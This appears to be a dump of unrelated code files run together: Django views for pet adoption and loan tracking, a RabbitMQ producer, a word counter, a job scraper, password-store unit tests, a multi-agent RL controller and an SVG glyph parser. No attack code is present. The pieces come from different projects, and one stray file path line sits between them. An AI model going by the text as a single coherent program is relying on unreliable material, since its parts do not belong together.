from django.shortcuts import render, redirect
from django.http import HttpResponse, JsonResponse
from django.contrib.auth.decorators import login_required
from .models import Tag,Raca,Pet
from django.contrib import messages
from django.contrib.messages import constants
from adotar.models import PedidoAdocao
from django.views.decorators.csrf import csrf_exempt

@login_required
def novo_pet(request):
    if request.method == "GET":
        tags = Tag.objects.all()
        racas = Raca.objects.all()
        return render(request,'novo_pet.html',{'tags':tags,'racas':racas})
    elif request.method == "POST":
        foto = request.FILES.get('foto')
        nome = request.POST.get('nome')
        descricao = request.POST.get('descricao')
        estado = request.POST.get('estado')
        cidade = request.POST.get('cidade')
        telefone = request.POST.get('telefone')
        tags = request.POST.getlist('tags') ## captura a lista
        raca = request.POST.get('raca')

        #TODO: validas os dados
        # VALIDAÇÃO DA FOTO
        if foto is None:
            messages.add_message(request,constants.ERROR,'Uma foto deve ser enviada!')
            return render(request,'novo_pet.html')

        # DEMAIS CAMPOS
        if len(nome.strip()) == 0 or len(descricao.strip()) == 0 or len(estado.strip()) == 0 or len(cidade.strip()) == 0 or len(telefone.strip()) == 0 :
            messages.add_message(request,constants.ERROR,"Preencha todos os campos !")
            return render(request,'novo_pet.html')

        if len(telefone) > 14 or len(telefone) < 9:
            messages.add_message(request,constants.ERROR,"Digite um número de telefone válido!")
            return render(request,'novo_pet.html')

        #CIDADE E ESTADO NA API DOS CORREIOS

        pet = Pet(
            usuario = request.user,
            foto=foto,
            nome=nome,
            descricao=descricao,
            estado=estado,
            cidade=cidade,
            telefone=telefone,
            raca_id=raca,
        )
        pet.save()

        for tag_id in tags:
            tag = Tag.objects.get(id=tag_id)
            pet.tags.add(tag)

        #Depois cadastro a tag
        pet.save()

        return redirect('/divulgar/seus_pets')

@login_required
def seus_pets(request):
    if request.method == "GET":
        pets = Pet.objects.filter(usuario=request.user)

        return render(request,'seus_pets.html',{'pets':pets})

@login_required
def remover_pet(request,id):
    pet = Pet.objects.get(id=id)

    if not pet.usuario == request.user:
        messages.add_message(request,constants.ERROR,"Esse pet não é seu!")
        return redirect('/divulgar/seus_pets')

    pet.delete()

    messages.add_message(request,constants.SUCCESS,"Pet deletado com sucesso!")
    return redirect('/divulgar/seus_pets')

def ver_pet(request,id):
    if request.method == "GET":
        pet = Pet.objects.get(id=id)
        return render(request,'ver_pet.html',{'pet':pet})

def ver_pedido_adocao(request):
    if request.method == "GET":
        pedidos = PedidoAdocao.objects.filter(usuario=request.user).filter(status="AG")
        return render(request, 'ver_pedido_adocao.html', {'pedidos': pedidos})

def dashboard(request):
    if request.method == "GET":
        return render(request, 'dashboard.html')

#Para não verificar essa view
@csrf_exempt
def api_adocoes_por_raca(request):
    racas = Raca.objects.all()

    qtd_adocoes = []
    for raca in racas:
        adocoes = PedidoAdocao.objects.filter(pet__raca=raca).filter(status="AP").count()
        qtd_adocoes.append(adocoes)

    racas = [raca.raca for raca in racas] #Tranformando
    data = {'qtd_adocoes':qtd_adocoes,
            'labels':racas}

    return JsonResponse(data)


import pika

# 连接rabbitmq
connection = pika.BlockingConnection(pika.ConnectionParameters('localhost'))
channel = connection.channel()

# 申明交换机
channel.exchange_declare(exchange='logs3',
                         exchange_type='topic')   #

# 向指定交换机插入数据
message = "info: europe.news!"
channel.basic_publish(exchange='logs3',
                      routing_key='europe.news',
                      body=message)  # 插入数据

print(" [x] Sent %r" % message)
connection.close()

消息队列/交换机模式/模糊匹配模式/producer.py


# coding=utf-8

# Input: array with multiple strings
# Expected output: rank of the 3 most often repeated words in given set of strings and number of times they occured, case insensitive

from collections import Counter

def rank_words(sentences):
    # All sentences transform into one string and convert to lowercase
    combined_text = ' '.join(sentences).lower()

    # Punctuation removal and split into words
    words = combined_text.replace('.', '').replace(',', '').split()

    # Counting the frequency of each word
    word_counts = Counter(words)

    # Getting the three most common words
    most_common_words = word_counts.most_common(3)

    # The results
    for i, (word, count) in enumerate(most_common_words, 1):
        print(f"{i}. \"{word}\" - {count}")

sentences = [
    'Taki mamy klimat',
    'Wszędzie dobrze ale w domu najlepiej',
    'Wyskoczył jak Filip z konopii',
    'Gdzie kucharek sześć tam nie ma co jeść',
    'Nie ma to jak w domu',
    'Konduktorze łaskawy zabierz nas do Warszawy',
    'Jeżeli nie zjesz obiadu to nie dostaniesz deseru',
    'Bez pracy nie ma kołaczy',
    'Kto sieje wiatr ten zbiera burzę',
    'Być szybkim jak wiatr',
    'Kopać pod kimś dołki',
    'Gdzie raki zimują',
    'Gdzie pieprz rośnie',
    'Swoją drogą to gdzie rośnie pieprz?',
    'Mam nadzieję, że poradzisz sobie z tym zadaniem bez problemu',
    'Nie powinno sprawić żadnego problemu, bo Google jest dozwolony',
]

print(rank_words(sentences))


import requests
from bs4 import BeautifulSoup

headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36'}

def get_job_rmt(keyword):
  url = f"https://remoteok.io/remote-dev+{keyword}-jobs"
  print(url)
  result = requests.get(url, headers=headers)
  soup = BeautifulSoup(result.text, "html.parser")
  trs = soup.find_all("tr")
  infos = []
  for tr in trs:
    try:
      if tr["data-company"]:
        info = {}
        info["title"] = tr.find("h2", {"itemprop":"title"}).get_text()
        info["company"] = tr.find("h3", {"itemprop":"name"}).get_text()
        link = tr.find("a", {"itemprop":"url"})["href"]
        info["link"] = f"https://remoteok.io{link}"
        infos.append(info)
    except:
      continue
  return infos


"""Tests for the 'data' module."""
import string
import unittest
from datetime import datetime, timezone
from typing import List, LiteralString, TypedDict

from ananke import data
from ananke.data import (
    Ciphertext,
    Description,
    Entry,
    EntryId,
    Identity,
    KeyId,
    Plaintext,
    Timestamp,
)

class RandomArgs(TypedDict):
    """Type hint class for the 'test_random' method."""

    length: int
    use_uppercase: bool
    use_digits: bool
    use_punctuation: bool

class RandomTestCase(TypedDict):
    """Type hint class for the 'test_random' method."""

    args: RandomArgs
    char_set: LiteralString

class TestTimestamp(unittest.TestCase):
    """Tests for the 'Timestamp' class."""

    def test_fromisoformat(self):
        """Tests the 'fromisoformat' method."""
        test_cases = {
            "2023-06-07T02:58:54.640805116Z": datetime(2023, 6, 7, 2, 58, 54, 640805),
            "2023-06-07T02:58:54.640Z": datetime(2023, 6, 7, 2, 58, 54, 640000),
            "2023-06-07T02:58:54Z": datetime(2023, 6, 7, 2, 58, 54),
            "2023-06-07T02:58Z": datetime(2023, 6, 7, 2, 58),
        }

        for timestamp, expected_output in test_cases.items():
            with self.subTest(timestamp=timestamp):
                expected_output = expected_output.replace(tzinfo=timezone.utc)
                actual_output = Timestamp.fromisoformat(timestamp).value
                self.assertEqual(expected_output, actual_output)

    def test_roundtrip_through_str(self):
        """Tests that a 'Timestamp' object can be roundtripped through the 'str' function."""
        test_cases = [
            "2023-06-07T02:58:54.640805Z",
            "2023-06-07T02:58:54.640000Z",
            "2023-06-07T02:58:54Z",
            "2023-06-07T02:58:00Z",
        ]

        for timestamp in test_cases:
            with self.subTest(timestamp=timestamp):
                self.assertEqual(Timestamp.fromisoformat(timestamp).isoformat(), timestamp)

    def test_inequality_with_non_timestamp(self):
        """Tests that a 'Timestamp' object is not equal to a non-'Timestamp' object."""
        self.assertNotEqual(Timestamp.now(), {})

class TestCiphertext(unittest.TestCase):
    """Tests for the 'Ciphertext' class."""

    def test_from_base64(self):
        """Tests the 'from_base64' method."""
        test_cases = {
            "aGVsbG8=": b"hello",
            "aGVsbG8gZnJvbSB0ZXN0": b"hello from test",
        }

        for ciphertext, expected_output in test_cases.items():
            with self.subTest(ciphertext=ciphertext):
                actual_output = Ciphertext.from_base64(ciphertext)
                self.assertEqual(expected_output, actual_output)

    def test_to_base64(self):
        """Tests the 'to_base64' method."""
        test_cases = {
            b"hello": "aGVsbG8=",
            b"hello from test": "aGVsbG8gZnJvbSB0ZXN0",
        }

        for plaintext, expected_output in test_cases.items():
            with self.subTest(plaintext=plaintext):
                actual_output = Ciphertext(plaintext).to_base64()
                self.assertEqual(expected_output, actual_output)

    def test_roundtrip_through_str(self):
        """Tests that a 'Ciphertext' object can be roundtripped through the 'str' function."""
        test_cases = [
            "aGVsbG8=",
            "aGVsbG8gZnJvbSB0ZXN0",
        ]

        for ciphertext in test_cases:
            with self.subTest(ciphertext=ciphertext):
                self.assertEqual(Ciphertext.from_base64(ciphertext).to_base64(), ciphertext)

class TestPlaintext(unittest.TestCase):
    """Tests for the 'Plaintext' class."""

    def test_random(self):
        """Test the 'random' method of the 'Plaintext' class."""
        test_cases: List[RandomTestCase] = [
            {
                "args": {"length": 24, "use_uppercase": True, "use_digits": True, "use_punctuation": True},
                "char_set": string.ascii_lowercase + string.ascii_uppercase + string.digits + string.punctuation,
            },
            {
                "args": {"length": 24, "use_uppercase": True, "use_digits": True, "use_punctuation": False},
                "char_set": string.ascii_lowercase + string.ascii_uppercase + string.digits,
            },
            {
                "args": {"length": 24, "use_uppercase": True, "use_digits": False, "use_punctuation": True},
                "char_set": string.ascii_lowercase + string.ascii_uppercase + string.punctuation,
            },
            {
                "args": {"length": 24, "use_uppercase": True, "use_digits": False, "use_punctuation": False},
                "char_set": string.ascii_lowercase + string.ascii_uppercase,
            },
            {
                "args": {"length": 24, "use_uppercase": False, "use_digits": True, "use_punctuation": True},
                "char_set": string.ascii_lowercase + string.digits + string.punctuation,
            },
            {
                "args": {"length": 24, "use_uppercase": False, "use_digits": True, "use_punctuation": False},
                "char_set": string.ascii_lowercase + string.digits,
            },
            {
                "args": {"length": 24, "use_uppercase": False, "use_digits": False, "use_punctuation": True},
                "char_set": string.ascii_lowercase + string.punctuation,
            },
            {
                "args": {"length": 24, "use_uppercase": False, "use_digits": False, "use_punctuation": False},
                "char_set": string.ascii_lowercase,
            },
        ]

        for case in test_cases:
            with self.subTest(case=case):
                actual_plaintext = Plaintext.random(**case["args"])
                for char in actual_plaintext:
                    self.assertIn(char, case["char_set"])

    def test_random_length(self):
        """Test the length of the output generated by the 'random' method of the 'Plaintext' class"""
        lengths = range(0, 100)

        for length in lengths:
            with self.subTest(length=length):
                self.assertEqual(len(Plaintext.random(length)), length)

class TestEntry(unittest.TestCase):
    """Tests for the Entry class."""

    def test_from_dict(self):
        """An Entry can be created from a dict."""
        entry_dict = {
            "timestamp": "2023-06-12T08:12:08.528402975Z",
            "id": "f06933b9b5d7dafc2ed65e7f6f629e8b72e3295e",
            "key_id": "371C136C",
            "description": "https://www.foomail.com",
            "identity": "quux",
            "ciphertext": "hQEMAzc/TVLd4/C8AQf5AWOscf34zklI490vQKnp5tI0xA0ntYuqiof7EEolHGC9V0jOjft1eBs38SMvI4MEskjKuZR+JE/m40g9xl3oSeXYbPLDAdgP0k4P7sBznbzYotRoFxKEi1mnYi/MxBtNrjG+nttxeTWXx3EseKDQfu3lz749XScwyY5aEzO+LbjQHGzqUMcntHRmareC63Do6S3pgMio1bKTuhGl87Ijf4bfw6NARg8GlF8UDUZDLnDpaaJjxJyW17owiV0SS7IC81ETydKM9wz60xUo23ow3fpEmcUhFHUspbXfSNzh2cABIfgRDhLMlZrMyuGQr9UBjw6cxMbwuNWJ5ECCGm3n3tJKAdzBFRyudhcHPwI7fm2nrthdqTJ2l+89EuP09aJsCvo4BpmAJcwSPxkrsCqirAsgctveeu+9F1LOymY9J8JGvnUu/81kYP9HYfA=",
        }

        expected_entry = Entry(
            timestamp=Timestamp.fromisoformat(entry_dict["timestamp"]),
            entry_id=EntryId(entry_dict["id"]),
            key_id=KeyId(entry_dict["key_id"]),
            description=Description(entry_dict["description"]),
            identity=Identity(entry_dict["identity"]),
            ciphertext=Ciphertext.from_base64(entry_dict["ciphertext"]),
            meta=None,
        )

        actual_entry = Entry.from_dict(entry_dict)

        self.assertEqual(expected_entry, actual_entry)

    def test_from_dict_with_invalid_dict(self):
        """An Entry cannot be created from an invalid dict."""
        with self.assertRaises(ValueError, msg="Invalid dict"):
            Entry.from_dict({})

    def test_from_dict_with_invalid_timestamp(self):
        """An Entry cannot be created from a dict with an invalid timestamp."""
        entry_dict = {
            "timestamp": "2023-06-12T",
            "id": "f06933b9b5d7dafc2ed65e7f6f629e8b72e3295e",
            "key_id": "371C136C",
            "description": "https://www.foomail.com",
            "identity": "quux",
            "ciphertext": "hQEMAzc/TVLd4/C8AQf5AWOscf34zklI490vQKnp5tI0xA0ntYuqiof7EEolHGC9V0jOjft1eBs38SMvI4MEskjKuZR+JE/m40g9xl3oSeXYbPLDAdgP0k4P7sBznbzYotRoFxKEi1mnYi/MxBtNrjG+nttxeTWXx3EseKDQfu3lz749XScwyY5aEzO+LbjQHGzqUMcntHRmareC63Do6S3pgMio1bKTuhGl87Ijf4bfw6NARg8GlF8UDUZDLnDpaaJjxJyW17owiV0SS7IC81ETydKM9wz60xUo23ow3fpEmcUhFHUspbXfSNzh2cABIfgRDhLMlZrMyuGQr9UBjw6cxMbwuNWJ5ECCGm3n3tJKAdzBFRyudhcHPwI7fm2nrthdqTJ2l+89EuP09aJsCvo4BpmAJcwSPxkrsCqirAsgctveeu+9F1LOymY9J8JGvnUu/81kYP9HYfA=",
        }

        with self.assertRaises(ValueError) as context:
            Entry.from_dict(entry_dict)

        self.assertEqual("Invalid timestamp format", str(context.exception))

    def test_from_dict_with_invalid_ciphertext(self):
        """An Entry cannot be created from a dict with an invalid ciphertext."""
        entry_dict = {
            "timestamp": "2023-06-12T08:12:08.528402975Z",
            "id": "f06933b9b5d7dafc2ed65e7f6f629e8b72e3295e",
            "key_id": "371C136C",
            "description": "https://www.foomail.com",
            "identity": "quux",
            "ciphertext": "zzzzzz",
        }

        with self.assertRaises(ValueError) as context:
            Entry.from_dict(entry_dict)

        self.assertEqual("Invalid ciphertext format", str(context.exception))

    def test_missing_required_keys(self):
        """An Entry cannot be created from a dict with a missing required key."""
        base_dict = {
            "timestamp": "2023-06-12T08:12:08.528402975Z",
            "id": "f06933b9b5d7dafc2ed65e7f6f629e8b72e3295e",
            "key_id": "371C136C",
            "description": "https://www.foomail.com",
            "identity": "quux",
            "ciphertext": "hQEMAzc/TVLd4/C8AQf5AWOscf34zklI490vQKnp5tI0xA0ntYuqiof7EEolHGC9V0jOjft1eBs38SMvI4MEskjKuZR+JE/m40g9xl3oSeXYbPLDAdgP0k4P7sBznbzYotRoFxKEi1mnYi/MxBtNrjG+nttxeTWXx3EseKDQfu3lz749XScwyY5aEzO+LbjQHGzqUMcntHRmareC63Do6S3pgMio1bKTuhGl87Ijf4bfw6NARg8GlF8UDUZDLnDpaaJjxJyW17owiV0SS7IC81ETydKM9wz60xUo23ow3fpEmcUhFHUspbXfSNzh2cABIfgRDhLMlZrMyuGQr9UBjw6cxMbwuNWJ5ECCGm3n3tJKAdzBFRyudhcHPwI7fm2nrthdqTJ2l+89EuP09aJsCvo4BpmAJcwSPxkrsCqirAsgctveeu+9F1LOymY9J8JGvnUu/81kYP9HYfA=",
            "meta": None,
        }

        required_keys = ["timestamp", "id", "key_id", "description", "ciphertext"]

        for key in required_keys:
            with self.subTest(missing_key=key):
                entry_dict = base_dict.copy()
                del entry_dict[key]

                with self.assertRaises(ValueError) as context:
                    Entry.from_dict(entry_dict)

                self.assertEqual(f'Invalid entry format: missing required key "{key}"', str(context.exception))

    def test_round_trip_through_dict(self):
        """An Entry can be created from a dict and converted back to a dict."""
        entry_dict = {
            "timestamp": "2023-06-12T08:12:08.528402Z",
            "id": "f06933b9b5d7dafc2ed65e7f6f629e8b72e3295e",
            "key_id": "371C136C",
            "description": "https://www.foomail.com",
            "identity": "quux",
            "ciphertext": "hQEMAzc/TVLd4/C8AQf5AWOscf34zklI490vQKnp5tI0xA0ntYuqiof7EEolHGC9V0jOjft1eBs38SMvI4MEskjKuZR+JE/m40g9xl3oSeXYbPLDAdgP0k4P7sBznbzYotRoFxKEi1mnYi/MxBtNrjG+nttxeTWXx3EseKDQfu3lz749XScwyY5aEzO+LbjQHGzqUMcntHRmareC63Do6S3pgMio1bKTuhGl87Ijf4bfw6NARg8GlF8UDUZDLnDpaaJjxJyW17owiV0SS7IC81ETydKM9wz60xUo23ow3fpEmcUhFHUspbXfSNzh2cABIfgRDhLMlZrMyuGQr9UBjw6cxMbwuNWJ5ECCGm3n3tJKAdzBFRyudhcHPwI7fm2nrthdqTJ2l+89EuP09aJsCvo4BpmAJcwSPxkrsCqirAsgctveeu+9F1LOymY9J8JGvnUu/81kYP9HYfA=",
        }

        self.assertEqual(entry_dict, Entry.from_dict(entry_dict).to_dict())

    def test_inequality(self):
        """Two Entries are unequal if any of their attributes are unequal."""
        entry_dict = {
            "timestamp": "2023-06-12T08:12:08.528402Z",
            "id": "f06933b9b5d7dafc2ed65e7f6f629e8b72e3295e",
            "key_id": "371C136C",
            "description": "https://www.foomail.com",
            "identity": "quux",
            "ciphertext": "hQEMAzc/TVLd4/C8AQf5AWOscf34zklI490vQKnp5tI0xA0ntYuqiof7EEolHGC9V0jOjft1eBs38SMvI4MEskjKuZR+JE/m40g9xl3oSeXYbPLDAdgP0k4P7sBznbzYotRoFxKEi1mnYi/MxBtNrjG+nttxeTWXx3EseKDQfu3lz749XScwyY5aEzO+LbjQHGzqUMcntHRmareC63Do6S3pgMio1bKTuhGl87Ijf4bfw6NARg8GlF8UDUZDLnDpaaJjxJyW17owiV0SS7IC81ETydKM9wz60xUo23ow3fpEmcUhFHUspbXfSNzh2cABIfgRDhLMlZrMyuGQr9UBjw6cxMbwuNWJ5ECCGm3n3tJKAdzBFRyudhcHPwI7fm2nrthdqTJ2l+89EuP09aJsCvo4BpmAJcwSPxkrsCqirAsgctveeu+9F1LOymY9J8JGvnUu/81kYP9HYfA=",
        }

        test_cases = {
            "timestamp": "2023-06-12T08:12:08.528401Z",
            "id": "f06933b9b5d7dafc2ed65e7f6f629e8b72e3295f",
            "key_id": "371C136D",
            "description": "https://www.foomail.net",
            "identity": "qux",
            "ciphertext": "hQEMAzc/TVLd4/C8AQgAjAWcRoFoTI6k62fHtArOe6uCyEp6TDlLY5NhGKCRWKxDqggZByPDY59KzX/IqE6UgrQmvRM1yrEGvWVSM8lq43a5m8zDLNLIWVgEv0eUH50oYeB9I2vnL04L6bMPLkCwb19oFD1PUFQ9KqsmTQXyMDHkcXhAXk3mHcki1Ven38edw38Tf6xwrf/ISCSC/wDkgse6E+1+dbsEo5aWy3WWxzAFV+kARu10Mje3U+yGMBSs0Se6E/Z+iRSkCJhwOor//7W//Y0KuKzNrc3S6D4yXXIQ7lQJ33vNPAPCC5FGMwsw/StLRShNH6DHVbAp6Ws42J/9OTexwFitGY08UAX0ENJTAXhUTUGyQ23CIVfDRcWAOdsiikE7Ss37lXjrkJM86PTGrEMmY0psSrfpahkfvnmC2BsLaVTbSqz20t8J3tl5C8nlamu7AoATtDInOJcew+XcqMo=",
            "meta": "This is some metadata",
        }

        for key, value in test_cases.items():
            with self.subTest(key=key):
                modified_entry_dict = entry_dict.copy()
                modified_entry_dict[key] = value
                self.assertNotEqual(Entry.from_dict(entry_dict), Entry.from_dict(modified_entry_dict))

    def test_inequality_with_non_entry(self):
        """An Entry is unequal to a non-Entry."""
        entry_dict = {
            "timestamp": "2023-06-12T08:12:08.528402Z",
            "id": "f06933b9b5d7dafc2ed65e7f6f629e8b72e3295e",
            "key_id": "371C136C",
            "description": "https://www.foomail.com",
            "identity": "quux",
            "ciphertext": "hQEMAzc/TVLd4/C8AQf5AWOscf34zklI490vQKnp5tI0xA0ntYuqiof7EEolHGC9V0jOjft1eBs38SMvI4MEskjKuZR+JE/m40g9xl3oSeXYbPLDAdgP0k4P7sBznbzYotRoFxKEi1mnYi/MxBtNrjG+nttxeTWXx3EseKDQfu3lz749XScwyY5aEzO+LbjQHGzqUMcntHRmareC63Do6S3pgMio1bKTuhGl87Ijf4bfw6NARg8GlF8UDUZDLnDpaaJjxJyW17owiV0SS7IC81ETydKM9wz60xUo23ow3fpEmcUhFHUspbXfSNzh2cABIfgRDhLMlZrMyuGQr9UBjw6cxMbwuNWJ5ECCGm3n3tJKAdzBFRyudhcHPwI7fm2nrthdqTJ2l+89EuP09aJsCvo4BpmAJcwSPxkrsCqirAsgctveeu+9F1LOymY9J8JGvnUu/81kYP9HYfA=",
        }
        self.assertNotEqual(Entry.from_dict(entry_dict), {})

class TestKeyConversion(unittest.TestCase):
    """Unit tests for the key conversion functions."""

    def test_remap_keys(self):
        """Keys can be remapped in a dict."""
        test_cases = [
            {
                "key_map": {"foo": "bar", "baz": "quux"},
                "input_dict": {"foo": "a", "baz": "b"},
                "expected_output": {"bar": "a", "quux": "b"},
            },
            {
                "key_map": {"foo": "bar", "baz": "quux"},
                "input_dict": {},
                "expected_output": {},
            },
            {
                "key_map": {},
                "input_dict": {"foo": "a", "baz": "b"},
                "expected_output": {"foo": "a", "baz": "b"},
            },
            {
                "key_map": {"foo": "bar", "baz": "quux"},
                "input_dict": {"foo": "a"},
                "expected_output": {"bar": "a"},
            },
            {
                "key_map": {"foo": "bar", "baz": "quux"},
                "input_dict": {"foo": "a", "baz": "b", "quux": "c"},
                "expected_output": {"bar": "a", "quux": "c"},
            },
        ]
        for i, test_case in enumerate(test_cases):
            with self.subTest(i=i):
                key_map = test_case["key_map"]
                input_dict = test_case["input_dict"]
                expected_output = test_case["expected_output"]
                self.assertEqual(expected_output, data.remap_keys(key_map, input_dict))

if __name__ == "__main__":
    unittest.main()


from django.shortcuts import render
from django.http import HttpResponse
from django.conf import settings
from .models import *
from django.db import connection

# Create your views here.

def loanerList(request):
    LoanerList = Loaner.objects.all()

    return render(request, "loaner.html", {"LoanerList": LoanerList})

def loanList(request):
    loanList = Loan.objects.all()

    return render(request, "loanList.html", {"loanList": loanList})

def LoanHistory(request, id):
    LoanHistory = LoanReturn.objects.filter(Loan=id)

    return render(request, "LoanHistory.html", {"LoanHistory": LoanHistory})

def LoanInstallmentHistory(request, id):
    LoanInstallmentHistory = LoanMonthlyInstallment.objects.filter(Loan=id)

    return render(
        request,
        "LoanInstallmentHistory.html",
        {"LoanInstallmentHistory": LoanInstallmentHistory},
    )

def ReferenceBonusList(request):
    ReferenceBonusList = ReferenceBonus.objects.all()

    return render(
        request,
        "ReferenceBonusList.html",
        {"ReferenceBonusList": ReferenceBonusList},
    )

def LoanPaymentCheckList(request):
    def PaymentDayCheck():
        query = f"""
                SELECT LO.userName, L.id, L.LoanAmount, L.LoanGivenDate, L.InterestPay, (SELECT LI.InstallmentDate  FROM loaner_loanmonthlyinstallment AS LI WHERE LI.Loan_id = L.id ORDER BY LI.InstallmentMonth DESC LIMIT 1) AS LastInstammentDate,
                (SELECT LI.MarginDate  FROM loaner_loanmonthlyinstallment AS LI WHERE LI.Loan_id = L.id ORDER BY LI.InstallmentMonth DESC LIMIT 1) AS MarginDate,
                IF(
                    (SELECT LI.InstallmentMonth  FROM loaner_loanmonthlyinstallment AS LI WHERE LI.Loan_id = L.id ORDER BY LI.InstallmentMonth DESC LIMIT 1),
                    DATEDIFF(NOW(),  (SELECT LI.MarginDate  FROM loaner_loanmonthlyinstallment AS LI WHERE LI.Loan_id = L.id ORDER BY LI.InstallmentMonth DESC LIMIT 1)), DATEDIFF(NOW(), L.LoanGivenDate)
                ) AS DaysDiffrenetFromNow
                FROM loaner_loaner AS LO
                LEFT JOIN loaner_loan AS L ON LO.id = L.Loaner_id
                WHERE L.isClosed = 0
            """
        with connection.cursor() as cursor:
            cursor.execute(query)
            columns = [col[0] for col in cursor.description]
            results = cursor.fetchall()
            rows_as_dict = []
            for row in results:
                row_dict = dict(zip(columns, row))
                rows_as_dict.append(row_dict)
            return rows_as_dict

    LoanPaymentCheckList = PaymentDayCheck()

    return render(
        request,
        "LoanPaymentCheckList.html",
        {"LoanPaymentCheckList": LoanPaymentCheckList},
    )


from modules.agents import REGISTRY as agent_REGISTRY
from components.action_selectors import REGISTRY as action_REGISTRY
import torch as th

# This multi-agent controller shares parameters between agents
class BasicMAC:
    def __init__(self, scheme, groups, args):
        self.n_agents = args.n_agents
        self.args = args
        input_shape = self._get_input_shape(scheme)
        self._build_agents(input_shape)
        self.agent_output_type = args.agent_output_type

        self.action_selector = action_REGISTRY[args.action_selector](args)

        self.hidden_states = None

    def select_actions(self, ep_batch, t_ep, t_env, bs=slice(None), test_mode=False, ret_agent_outs=False):
        # Only select actions for the selected batch elements in bs
        avail_actions = ep_batch["avail_actions"][:, t_ep]
        agent_outputs = self.forward(ep_batch, t_ep, test_mode=test_mode)
        chosen_actions = self.action_selector.select_action(agent_outputs[bs], avail_actions[bs], t_env, test_mode=test_mode)
        if ret_agent_outs:
            return chosen_actions, agent_outputs[bs]
        return chosen_actions

    def forward(self, ep_batch, t, test_mode=False, **kwargs):
        if t is None:
            t = slice(0, ep_batch["avail_actions"].shape[1])
            int_t = False
        elif type(t) is int:
            t = slice(t, t + 1)
            int_t = True

        agent_inputs = self._build_inputs(ep_batch, t)
        avail_actions = ep_batch["avail_actions"][:, t]
        if kwargs.get('imagine', False):
            agent_outs, self.hidden_states, groups = self.agent(agent_inputs, self.hidden_states, **kwargs)
        else:
            agent_outs, self.hidden_states = self.agent(agent_inputs, self.hidden_states)

        if self.agent_output_type == "pi_logits":

            if getattr(self.args, "mask_before_softmax", True):
                # Make the logits for unavailable actions very negative to minimise their affect on the softmax
                agent_outs[avail_actions == 0] = -1e10

            agent_outs = th.nn.functional.softmax(agent_outs, dim=-1)
            if not test_mode:
                # Epsilon floor
                epsilon_action_num = agent_outs.size(-1)
                if getattr(self.args, "mask_before_softmax", True):
                    # With probability epsilon, we will pick an available action uniformly
                    epsilon_action_num = avail_actions.sum(dim=-1, keepdim=True).float()

                agent_outs = ((1 - self.action_selector.epsilon) * agent_outs
                               + th.ones_like(agent_outs) * self.action_selector.epsilon/epsilon_action_num)

                if getattr(self.args, "mask_before_softmax", True):
                    # Zero out the unavailable actions
                    agent_outs[avail_actions == 0] = 0.0
        if int_t:
            return agent_outs.squeeze(1)
        if kwargs.get('imagine', False):
            return agent_outs, groups
        return agent_outs

    def init_hidden(self, batch_size):
        self.hidden_states = self.agent.init_hidden().unsqueeze(0).expand(batch_size, self.n_agents, -1)  # bav

    def parameters(self):
        return self.agent.parameters()

    def load_state(self, other_mac):
        self.agent.load_state_dict(other_mac.agent.state_dict())

    def cuda(self):
        self.agent.cuda()

    def eval(self):
        self.agent.eval()

    def train(self):
        self.agent.train()

    def save_models(self, path):
        th.save(self.agent.state_dict(), "{}/agent.th".format(path))

    def load_models(self, path):
        self.agent.load_state_dict(th.load("{}/agent.th".format(path), map_location=lambda storage, loc: storage))

    def _build_agents(self, input_shape):
        self.agent = agent_REGISTRY[self.args.agent](input_shape, self.args)

    def _build_inputs(self, batch, t):
        # Assumes homogenous agents with flat observations.
        # Other MACs might want to e.g. delegate building inputs to each agent
        bs, ts, na, os = batch["obs"].shape
        inputs = []
        inputs.append(batch["obs"][:, t])  # btav
        if self.args.obs_last_action:
            if t.start == 0:
                acs = th.zeros_like(batch["actions_onehot"][:, t])
                acs[:, 1:] = batch["actions_onehot"][:, slice(0, t.stop - 1)]
            else:
                acs = batch["actions_onehot"][:, slice(t.start - 1, t.stop - 1)]
            inputs.append(acs)
        if self.args.obs_agent_id:
            inputs.append(th.eye(self.n_agents, device=batch.device).view(1, 1, self.n_agents, self.n_agents).expand(bs, t.stop - t.start, -1, -1))
        inputs = th.cat(inputs, dim=3)
        return inputs

    def _get_input_shape(self, scheme):
        input_shape = scheme["obs"]["vshape"]
        if self.args.obs_last_action:
            input_shape += scheme["actions_onehot"]["vshape"][0]
        if self.args.obs_agent_id:
            input_shape += self.n_agents

        return input_shape


#!/bin/python

import re
import matplotlib.pyplot as plt

def load_paths_from_svg_file(fname):
	with open(fname) as f:
		buf = f.read()

	glyphs = re.findall(r"<glyph[^>]+", buf)
	slot_regex = re.compile(r"unicode=['\"]([^'\"]+)")
	path_regex = re.compile(r"d=['\"]([^'\"]+)")
	paths = []
	slots = []

	for g in glyphs:
		slot = slot_regex.findall(g)
		path = path_regex.findall(g)
		if slot and path:
			paths.append(path[0])
			slots.append(slot[0])

	return paths, slots

def path_to_command_list(path):
	cmd_list = []
	cmd = None
	n = None
	neg = False
	dot = 0
	for i in range(len(path)):
		c = path[i]
		if c < ' ' or c > '~':
			continue

		if cmd is None:
			cmd = [c]
			continue

		if c == '-':
			neg = True
		elif c == '.':
			dot = 10
		elif c >= '0' and c <= '9':
			if n is None:
				n = 0.0
			d = ord(c) - 0x30
			if dot:
				d /= dot
				dot *= 10
			else:
				n *= 10
			n += d
		else:
			if n is not None:
				n = -n if neg else n
				cmd.append(n)
				n = None
			if c != ' ' and c != ',':
				cmd_list.append(cmd)
				cmd = [c]
			dot = 0
			neg = False

	if cmd is not None:
		cmd_list.append(cmd)
	return cmd_list

def generate_quadratic(points, n_inner_verts, bone_x, bone_y, end_x, end_y):
	start_x = points[-1][0]
	start_y = points[-1][1]
	for i in range(n_inner_verts):
		t = float(i+1) / float(n_inner_verts+1)
		inv_t2 = (1-t)*(1-t)
		x = bone_x + inv_t2*(start_x-bone_x) + t*t*(end_x-bone_x)
		y = bone_y + inv_t2*(start_y-bone_y) + t*t*(end_y-bone_y)
		points.append([x, y])
	points.append([end_x, end_y])

def generate_cubic(points, n_inner_verts, b1_x, b1_y, b2_x, b2_y, end_x, end_y):
	start_x = points[-1][0]
	start_y = points[-1][1]
	for i in range(n_inner_verts):
		t = float(i+1) / float(n_inner_verts+1)
		inv_t = 1-t
		x = inv_t*inv_t*inv_t*start_x + 3*t*inv_t*inv_t*b1_x + 3*t*t*inv_t*b2_x + t*t*t*end_x
		y = inv_t*inv_t*inv_t*start_y + 3*t*inv_t*inv_t*b1_y + 3*t*t*inv_t*b2_y + t*t*t*end_y
		points.append([x, y])
	points.append([end_x, end_y])

